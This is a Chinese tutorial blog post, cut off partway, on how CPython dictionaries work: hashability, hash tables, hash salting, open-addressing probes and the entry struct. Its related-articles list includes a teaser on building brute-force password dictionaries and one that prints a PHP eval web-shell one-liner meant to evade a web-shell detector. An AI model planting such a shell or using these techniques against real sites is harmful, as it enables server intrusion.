Python开发【数据结构】:字典内部剖析
字典内部剖析
开篇先提出几个疑问:
- 所有的类型都可以做字典的键值吗?
- 字典的存储结构是如何实现的?
- 散列冲突时如何解决?
最近看了一些关于字典的文章,决定通过自己的理解把他们写下来;本章将详细阐述上面的几个问题,通过源码的剖析,尽量还原字典的真相。
键值要求:
在python中只有可以散列的数据类型才能作为字典里的键(只有键有这个要求,值并不需要是可散列的数据类型)
那什么是可散列的数据类型?
在Python词汇表(https://docs.python.org/3/glossary.html#term-hashable)中,关于可散列类型的定义有这样一段话:
如果一个对象是可散列的,那么这个对象的生命周期中,它的散列值是不变的,而且这个对象需要实现__hash__()方法。另外可散列对象还要有__qe__()方法,这样才能跟其他键做比较。如果两个可散列对象是相等的,那么它们的散列值一定是一样的。
原子不可变数据类型(str、 bytes和数值类型)都是可散列类型,frozenset也是可散列的,根据其定义,frozenset里只能容纳可散列类型。元祖的话,只有当一个元祖包含的所有元素都是可散列类型的情况下,它才是可散列的如图:

内部存储实现
字典这个数据结构活跃在所有Python程序的背后,即便你的源码里并没有直接用到它,dict是Python语言的基石,模块的命名空间,实例的属性和函数的关键字参数等都可以看到字典的身影,dictnotes.txt中有介绍字典的应用及可调参数优化;正是因为字典至关重要,Python对它的实现做了高度优化,而散列表则是字典类型性能出众的根本原因。
散列表:
散列表(hash table)其实是一个稀疏数组(总是有空白元素的数组成为稀疏数组)。在一般的数据结构教材中,散列表里的单元通常叫作表元(bucket)。在dict的散列表当中,每个键值对都占用一个表元,每个表元都有两个部分,一个是对键的引用,另一个是对值的引用。因为所有表元的大小一致,所以可以通过偏移量来读取某个表元。表元的索引是键经过散列函数处理后得到的,散列函数的目的是使键均匀地分布在数组中;
提高散列表效率两种方式:①散列函数(散列函数的优劣直接决定搜索效率的高低) ②减低散列表装载率(装载率超过2/3时,散列冲突发生的概率就会大大增加)都是为了避免hash冲突;得益于此,Python的字典中有数百万个元素,多数的搜索过程里并不会发生冲突,平均下来每次搜索可能会有一到两次冲突,在正常情况下,就算最不走运的键所遇到的冲突次数用一只手也能数过来。
散列表算法:
如果要把一个对象放入散列表,那么首先要计算这个元素键的散列值,Python中可以用hash()方法来做这件事情。如果两个对象在比较的时候是相等的,那它们的散列值必须相等;越是相似但是不相等的对象,它们的散列值的差别应该越大;
注:从 Python3.3开始,str、 bytes和 datetime对象的散列值计算过程中多了随机的“加盐”这一步。所加盐值是 Python进程内的一个常量,但是每次启动PYthon解释器都会生成一个不同的盐值,随机盐值的加入是为了防止DOS攻击而采取的一种安全措施。在_hash特殊方法的文档(https://docs.python.org/3/reference/datamodel.html#object.__hash__)里有相关的详细信息
如果用长度为 x 的数组存储键/值对,则我们需要用值为 x-1 的掩码计算槽(slot,存储键/值对的单元,表元)在数组中的索引,用散列值与x-1进行取余计算即可得到表元下标。假如字典中所用数组的长度是 8(默认字典中数组最小长度),当进行{'a':1,'b':2,'c':3,'z':26}生成字典操作时,那么键'a'的索引为:hash('a') & 7 = 0,同理'b'的索引为 3 ,'c'的索引为 2 ,而'z'的索引与'b'相同,也为 3 ,这就出现了散列冲突。如下图

可以看出,Python的哈希函数在键彼此连续的时候表现得很理想,这主要是考虑到通常情况下处理的都是这类形式的数据。然而,一旦我们添加了键'z'就会出现冲突,因为这个键值并不毗邻其他键,且相距较远。应证上面不相似的数据差别小,当然,我们也可以用索引为键的哈希值的链表来存储键/值对,但会增加查找元素的时间,时间复杂度也不再是 O(1) 了
散列冲突:
如上述情况一样,由于散列表的下标范围是有限的,而元素关键字的值是接近无限的,因此可能会出现不同的哈希值获取的下标一样这种情况。此时,两个元素映射到同一个下标处,造成散列冲突。
解决散列冲突的方法有两种:拉链法(将所有冲突的元素用链表连接)及 开放寻址法(通过哈希冲突函数得到新的地址) 下图为拉链法示例图

Python中是通过开放寻址法来进行处理散列冲突的
开放寻址法:
开放寻址法是一种用探测手段处理冲突的方法。在上述键'z'冲突的例子中,索引 3 在数组中已经被占用了,因而需要探寻一个当前未被使用的索引。增加和搜寻键/值对需要的时间均为 O(1)。
搜寻空闲槽用到了一个二次探测序列(quadratic probing sequence),其代码如下:
for (perturb = hash; ; perturb >>= PERTURB_SHIFT) {
i = (i << 2) + i + perturb + 1;
ep = &ep0[i & mask];
PERTURB_SHIFT 默认值为5 ,每次循环perturb(散列值)进行位运算,与mask(数组长度-1)进行取余运算,不断获取新的下标,直到获取可用的表元

说了这么多,你可能恍然大悟,原来是这样的!! 当然更多的估计还是一知半解,那么下面直接抛源码,开干!
CPython源码剖析
更多介绍可以参阅dictobject.c的源码
关联容器的entry(表元)
我们将把关联容器的一个(键,值)元素对称为一个entry或slot。在Python中,一个entry的定义如下:
typedef struct{
Py_ssize_t me_hash; # key的散列
PyObject *me_key; # 键
PyObject *me_value; # 值
}PyDictEntry
PyDictObject中其实存放都是PyObject*,这也是Python中dict什么都能装的下的原因,因为在Python中,无论什么东西归根到底都是一个PyObject对象;PyDictObject中entry可以再3种状态间转换:Unused态、Active态、Dummy态
Unused态:entry中的me_key和me_value都是NULL,Unused
Python开发【数据结构】:字典内部剖析的更多相关文章
- Python开发爆破字典
这里只是分享一下Python如何生成爆破字典 关于爆破工具编写我会在下一篇提到 其实有了爆破字典的话,直接使用Burp,Hydra等一些工具就可以做爆破了! Burp的使用在我以前的博客中有写过,至于 ...
- (python)数据结构---字典
一.描述 由键值key-value组成的数据的集合 可变.无序的,key不可以重复 字典的键key要可hash(列表.字典.集合不可哈希),不可变的数据结构是可哈希的(字符串.元组.对象.bytes) ...
- Python开发【源码剖析】 List对象
前言 本文探讨的Python版本为2.7.16,可从官网上下载,把压缩包Python-2.7.16.tgz解压到本地即可 需要基本C语言的知识(要看的懂) PyListObject对象 PyListO ...
- Python常用数据结构-字典——2.1 字典方法 keys()
python字典常用方法: keys() # 获取所有的键 values() # 获取所有的值 items() # 获 ...
- python开发笔记-字典按值排序取前n个key值
场景举例: 假如我们有某个班级的语文成绩数据,格式为字典,其中字典key为学生姓名,value为学生成绩: 那么,如何获得单科成绩排名前3的学生姓名? 代码如下:--数据样例,方便测试 def dic ...
- python基本数据结构-字典-方法
- Python基本数据结构-字典-创建/访问/基本操作/格式化输出
- Python开发——数据结构【深浅拷贝】
浅拷贝 # 浅拷贝只copy一层 s = [3,'Lucy',4,[1,2]] s1 = s.copy() 深拷贝 # 深拷贝——克隆一分 import copy s = [3,'Lucy',4,[1 ...
- Python开发【源码剖析】 Dict对象
static void ShowDictObject(PyDictObject* dictObject) { PyDictEntry* entry = dictObject->ma_table; ...
随机推荐
- 绕过D盾的一句话
一个很简单的一个技巧,作个笔记,可以绕过D盾检测. 新建test1.php <?php eval($_POST[g]); ?> 新建test2.php <?php $a=" ...
- Windows下mysql重设密码
Windows下的实际操作如下 .关闭正在运行的MySQL,即关闭服务. .打开DOS窗口,转到mysql\bin目录. .输入 mysqld --skip-grant-tables 回车.如果没有出 ...
- Mybatis输入输出映射
一.输入映射 1.传递简单类型 <select id="findUserById" parameterType="int" resultType=&quo ...
- Android学习之Gallery
在Android中,画廊控件Gallery用来显示图片列表,可以用手指直接拖动图片左右移动.Gallery只能水平显示一行,且Gallery列表中的图片会根据不同的拖动情况向左或向右移动,直到显示到最 ...
- 【大数据系列】hadoop集群的配置
一.hadoop的配置文件分类 1.只读类型的默认文件 core-default.xml hdfs-default.xml mapred-default.xml mapred-que ...
- 原生js(三)
客户端js的时间线: 1.web浏览器创建Document对象,开始解析html和文本.生成Element对象和Text节点添加到文档中.这个阶段的document.readystate==" ...
- Toast 自定义
转:http://www.cnblogs.com/salam/archive/2010/11/10/1873654.html 1.默认效果 代码 Toast.makeText(getApplicati ...
- 关于android性能,内存优化
转:http://www.starming.com/index.php?action=plugin&v=wave&tpl=union&ac=viewgrouppost& ...
- Android 全屏Activity以透明的对话框形式弹出
1. styles.xml <style name="transcutestyle" parent="@android:style/Theme.DeviceDefa ...
- Android studio 怎么使用已经下载好的Android SDK ?
AS:3.1.2 ---> android-studio-ide-173.4720617-windows32.zip sdK: gradle:4.4 1. 2. 3. 4. 5. 下面重要一步, ...